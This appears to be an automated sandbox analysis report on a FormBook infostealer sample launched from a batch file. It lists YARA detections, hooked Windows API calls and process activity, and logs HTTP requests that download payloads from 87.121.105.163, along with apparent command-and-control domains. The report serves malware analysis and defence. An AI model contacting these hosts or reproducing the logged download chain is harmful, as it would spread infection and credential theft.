Source: Yara match	File source: 0000000C.00000002.2870468418.0000000000A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2872962180.0000000004F70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2870539182.0000000000A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2350818300.00000000252F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2871400550.0000000003C00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb\| source: powershell.exe, 00000005.00000002.2024149696.0000000008611000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdbi source: powershell.exe, 00000005.00000002.2020862887.0000000007490000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5` source: powershell.exe, 00000005.00000002.2008604856.0000000002CFF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5@ source: powershell.exe, 00000005.00000002.2008604856.0000000002CFF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: t.Automation.pdb source: powershell.exe, 00000005.00000002.2008604856.0000000002D54000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2020862887.0000000007432000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: wab.exe
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2024149696.0000000008611000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ?\C:\Windows\System.Core.pdbL source: powershell.exe, 00000005.00000002.2024300968.0000000008663000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: %^qm.Core.pdbh source: powershell.exe, 00000005.00000002.2024300968.0000000008663000.00000004.00000020.00020000.00000000.sdmp

Source: Joe Sandbox View	IP Address: 87.121.105.163 87.121.105.163
Source: Joe Sandbox View	IP Address: 47.91.88.207 47.91.88.207

Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163
Source: unknown	TCP traffic detected without corresponding DNS query: 87.121.105.163

Source: global traffic	HTTP traffic detected: GET /Punktet.hhp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 87.121.105.163Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /TjtonPwEiP175.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 87.121.105.163Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /gnbc/?zJeP=Xbjl2p0h-LP&Nr=L9JeOsoYfW7LuiHbEVFIUxrrDEUMATYC8gDNcZo86ZNgoJ0Ky4PaH7PNod07P46PC5yTK57EcxKk26T8ts7darwqgM7ePv0Xp25EyyEytypCDy9EhkfmkBo= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,enConnection: closeHost: www.tyaer.comUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4

Source: global traffic	DNS traffic detected: DNS query: www.tyaer.com
Source: global traffic	DNS traffic detected: DNS query: www.oyoing.com
Source: global traffic	DNS traffic detected: DNS query: www.megabet303.lol
Source: global traffic	DNS traffic detected: DNS query: www.theplays.shop

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 25 Apr 2024 08:38:15 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Trace: 2BCC8BC549D53EE22AA10BCC51E0054033F8F3F985665509D422F7314A00Set-Cookie: _csrf=22f92dd2106e2fbe987a333ff1d123faeb00c04eb6ad213ca57619b7d83dcc94a%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22Gfc-qiP4I9WJKcSYWA1X4uyRp-lLUIMZ%22%3B%7D; path=/; HttpOnlyData Raw: 33 31 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 70 61 72 61 6d 22 20 63 6f 6e 74 65 6e 74 3d 22 5f 63 73 72 66 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 73 72 66 2d 74 6f 6b 65 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 35 74 32 6f 44 48 71 31 6b 61 70 58 42 71 56 73 42 51 6e 4c 61 61 45 37 68 75 59 6b 4c 53 56 31 72 34 7a 54 72 56 56 2d 68 4e 69 68 75 38 73 68 43 39 7a 42 6e 68 34 5f 38 69 5a 4f 61 70 67 77 39 6e 71 33 76 68 42 59 58 43 66 66 6f 62 5f 68 41 44 66 4a 67 67 3d 3d 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 69 74 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 72 61 70 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 65 72 72 6f 72 22 3e 0a 0a 20 20 20 20 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 20 28 23 34 30 34 29 3c 2f 68 31 3e 0a 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 64 61 6e 67 65 72 22 3e 0a 20 20 20 20 20 20 20 20 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 20 20 20 20 3c 2f 64 69 76 3e 0a 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 54 68 65 20 61 62 6f 76 65 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 20 77 68 69 6c 65 20 74 68 65 20 57 65 62 20 73 65 72 76 65 72 20 77 61 73 20 70 72 6f 63 65 73 73 69 6e 67 20 79 6f 75 72 20 72 65 71 75 65 73 74 2e 0a 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 20 20 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 75 73 20 69 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2e 20 54 68 61 6e 6b 20 79 6f 75 2e 0a 20 20 20 20 3c 2f 70 3e 0a 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 31b<!DOCTYPE html><html lang="en-US"><head> <meta charset="UTF-8"> <meta name="viewport" content="

Source: powershell.exe, 00000002.00000002.2211361743.000001C0AB31E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2211361743.000001C0A96AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163
Source: powershell.exe, 00000002.00000002.2211361743.000001C0A96AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163/Punktet.hhpP
Source: powershell.exe, 00000005.00000002.2009616507.0000000004A49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.121.105.163/Punktet.hhpXR
Source: powershell.exe, 00000002.00000002.2211361743.000001C0AB31E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://87.121.H:
Source: powershell.exe, 00000002.00000002.2349440816.000001C0B94F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2014092746.0000000005959000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.2009616507.0000000004A49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2211361743.000001C0A9481000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2009616507.00000000048F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2009616507.0000000004A49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.2020862887.0000000007432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coe
Source: powershell.exe, 00000002.00000002.2211361743.000001C0A9481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.2009616507.00000000048F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000005.00000002.2014092746.0000000005959000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.2014092746.0000000005959000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.2014092746.0000000005959000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000005.00000002.2009616507.0000000004A49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2211361743.000001C0AA863000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000002.00000002.2349440816.000001C0B94F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2014092746.0000000005959000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 0000000C.00000002.2869919929.0000000000570000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2313216444.0000000002D10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2870468418.0000000000A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2872962180.0000000004F70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2870539182.0000000000A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2350818300.00000000252F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2871400550.0000000003C00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_5984.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi32_6528.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 0000000C.00000002.2869919929.0000000000570000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.2313216444.0000000002D10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.2870468418.0000000000A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.2872962180.0000000004F70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.2870539182.0000000000A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.2350818300.00000000252F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.2871400550.0000000003C00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: powershell.exe PID: 5984, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6528, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Very long command line found

Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3287
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3311
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3287	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 3311	Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C135C0 NtCreateMutant,LdrInitializeThunk,	10_2_23C135C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C12B60 NtClose,LdrInitializeThunk,	10_2_23C12B60
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C12DF0 NtQuerySystemInformation,LdrInitializeThunk,	10_2_23C12DF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C12C70 NtFreeVirtualMemory,LdrInitializeThunk,	10_2_23C12C70
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C12BE0 NtQueryValueKey,	10_2_23C12BE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C12BF0 NtAllocateVirtualMemory,	10_2_23C12BF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C12B80 NtQueryInformationFile,	10_2_23C12B80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C12BA0 NtEnumerateValueKey,	10_2_23C12BA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C12AD0 NtReadFile,	10_2_23C12AD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C12AF0 NtWriteFile,	10_2_23C12AF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C12AB0 NtWaitForSingleObject,	10_2_23C12AB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C139B0 NtGetContextThread,	10_2_23C139B0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B8ACF51	2_2_00007FFD9B8ACF51
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B8ADD01	2_2_00007FFD9B8ADD01
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08441010	5_2_08441010
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08440CC8	5_2_08440CC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_084418E0	5_2_084418E0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23CA03E6	10_2_23CA03E6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C97571	10_2_23C97571
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C8E4F6	10_2_23C8E4F6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C92446	10_2_23C92446
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BD1460	10_2_23BD1460
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C9F43F	10_2_23C9F43F
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C96BD7	10_2_23C96BD7
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFFB80	10_2_23BFFB80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C9AB40	10_2_23C9AB40
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C9FB76	10_2_23C9FB76
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C8DAC6	10_2_23C8DAC6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BDEA80	10_2_23BDEA80
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C25AA0	10_2_23C25AA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C7DAAC	10_2_23C7DAAC
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C9FA49	10_2_23C9FA49
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C97A46	10_2_23C97A46
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C53A6C	10_2_23C53A6C
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE29A0	10_2_23BE29A0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23CAA9A6	10_2_23CAA9A6
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BF6962	10_2_23BF6962
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE9950	10_2_23BE9950
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BFB950	10_2_23BFB950
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BC68B8	10_2_23BC68B8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23C0E8F0	10_2_23C0E8F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 10_2_23BE38E0	10_2_23BE38E0

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Code function: String function: 23BCB970 appears 67 times

Source: amsi64_5984.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi32_6528.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 0000000C.00000002.2869919929.0000000000570000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.2313216444.0000000002D10000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.2870468418.0000000000A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.2872962180.0000000004F70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.2870539182.0000000000A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.2350818300.00000000252F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.2871400550.0000000003C00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 5984, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6528, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.evad.winBAT@20/10@6/3

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Stregmaalene.Dis

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5352:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6528:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ocinpzcp.ykt.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Doc_004024024001.bat" "

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=6528
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=5984
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=6528

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown

